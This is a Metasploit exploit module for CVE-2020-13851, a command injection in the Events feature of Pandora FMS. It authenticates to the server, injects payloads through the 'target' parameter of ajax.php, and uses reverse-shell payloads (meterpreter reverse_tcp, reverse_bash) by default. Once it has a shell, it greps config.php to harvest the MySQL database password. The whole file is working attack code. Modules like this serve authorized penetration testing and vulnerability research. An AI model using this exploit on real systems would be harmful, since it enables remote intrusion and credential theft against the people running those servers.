##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Pandora FMS Events Remote Command Execution',
'Description' => %q{
This module exploits a vulnerability (CVE-2020-13851) in Pandora
FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps
older versions) in order to execute arbitrary commands.
This module takes advantage of a command injection vulnerability in the
`Events` feature of Pandora FMS. This flaw allows users to execute
arbitrary commands via the `target` parameter in HTTP POST requests to
the `Events` function. After authenticating to the target, the module
attempts to exploit this flaw by issuing such an HTTP POST request,
with the `target` parameter set to contain the payload. If a shell is
obtained, the module will try to obtain the local MySQL database
password via a simple `grep` command on the plaintext
`/var/www/html/pandora_console/include/config.php` file.
Valid credentials for a Pandora FMS account are required. The account
does not need to have admin privileges.
This module has been successfully tested on Pandora 7.0 NG 744 running
on CentOS 7 (the official virtual appliance ISO for this version).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Fernando Catoira', # Discovery
'Julio Sanchez', # Discovery
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['CVE', '2020-13851'], # RCE via the `events` feature
['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities']
],
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' =>
[
[
'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-06-04',
'DefaultTarget' => 1
)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora'])
]
end
def check
vprint_status('Running check')
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.php')
unless res
return CheckCode::Unknown('Connection failed.')
end
unless res.code == 200 && res.body.include?('<title>Pandora FMS - the Flexible Monitoring System</title>')
return CheckCode::Safe('Target is not a Pandora FMS application.')
end
@cookie = res.get_cookies
html = res.get_html_document
full_version = html.at('div[@id="ver_num"]')
if full_version.blank?
return CheckCode::Detected('Could not determine the Pandora FMS version.')
end
full_version = full_version.text
version = full_version[1..-1].sub('NG', '')
if version.blank?
return CheckCode::Detected('Could not determine the Pandora FMS version.')
end
version = Gem::Version.new version
unless version <= Gem::Version.new('7.0.744')
return CheckCode::Safe("Target is Pandora FMS version #{full_version}.")
end
CheckCode::Appears("Target is Pandora FMS version #{full_version}.")
end
def login(user, pass)
vprint_status "Authenticating as #{user} ..."
res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'cookie' => @cookie,
'vars_get' => { 'login' => '1' },
'vars_post' => {
'nick' => user,
'pass' => pass,
'login_button' => 'Login'
}
})
unless res.code == 200 && res.body.include?('<b>Pandora FMS Overview</b>')
fail_with Failure::NoAccess, 'Authentication failed'
end
print_good "Authenticated as user #{user}."
end
def on_new_session(client)
super
if target.arch.first == ARCH_CMD
print_status('Trying to read the MySQL DB password from include/config.php. The default privileged user is `root`.')
client.shell_write("grep dbpass include/config.php\n")
else
print_status('Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.')
end
end
def execute_command(cmd, _opts = {})
print_status('Executing payload...')
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
'cookie' => @cookie,
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',
'Referer' => full_uri('index.php'),
'vars_get' => {
'sec' => 'eventos',
'sec2' => 'operation/events/events'
},
'vars_post' => {
'page' => 'include/ajax/events',
'perform_event_response' => '10000000',
'target' => cmd.to_s,
'response_id' => '1'
}
}, 0) # the server will not send a response, so the module shouldn't wait for one
end
def exploit
login(datastore['USERNAME'], datastore['PASSWORD'])
if target.arch.first == ARCH_CMD
execute_command payload.encoded
else
execute_cmdstager(background: true)
end
end
end
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